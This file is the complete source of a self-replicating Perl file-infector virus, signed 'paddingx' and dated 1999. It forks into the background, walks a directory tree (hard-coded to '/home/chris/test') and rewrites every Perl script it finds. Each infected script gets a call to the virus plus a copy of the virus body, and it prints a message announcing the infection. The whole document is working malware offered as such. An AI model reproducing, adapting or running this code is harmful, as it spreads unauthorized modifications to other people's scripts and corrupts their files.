use File::Find;
&virus();

print "\nThis program is infected by the Perl virus\n\n";

sub virus
  {
    my ( $pid, $new );   
    if( $pid = fork ) { return; }
    else
      {
        open( source, $0 );
	finddepth ( \&infect, '/home/chris/test' );
	sub infect 
	  {
            open target, "$File::Find::name";
            $_ = <target>;
	    if ( /(\#!.*perl)/ ) 
	      {
		$_ = <target>;
		if( $_ ne "use File::Find;\n" )
		  {
                    $new = $1 . "\nuse File::Find;\n&virus();\n" . $_;
                    while( <target> ) { $new = $new . $_; }
		    seek(  source, 0, 0 );
                    while( <source> ne "sub virus\n" ) { };
                    $new = $new . "\nsub virus\n";
                    while( <source> ) { $new = $new . $_; }                  
                    close  target;
                    open   target, ">$File::Find::name";
                    print  target $new;
                 }
	      }
	    close( target );   
	  }
        close( source );
	exit( 0 );
      }
  }

# a Perl virus, by paddingx
# 08/15/1999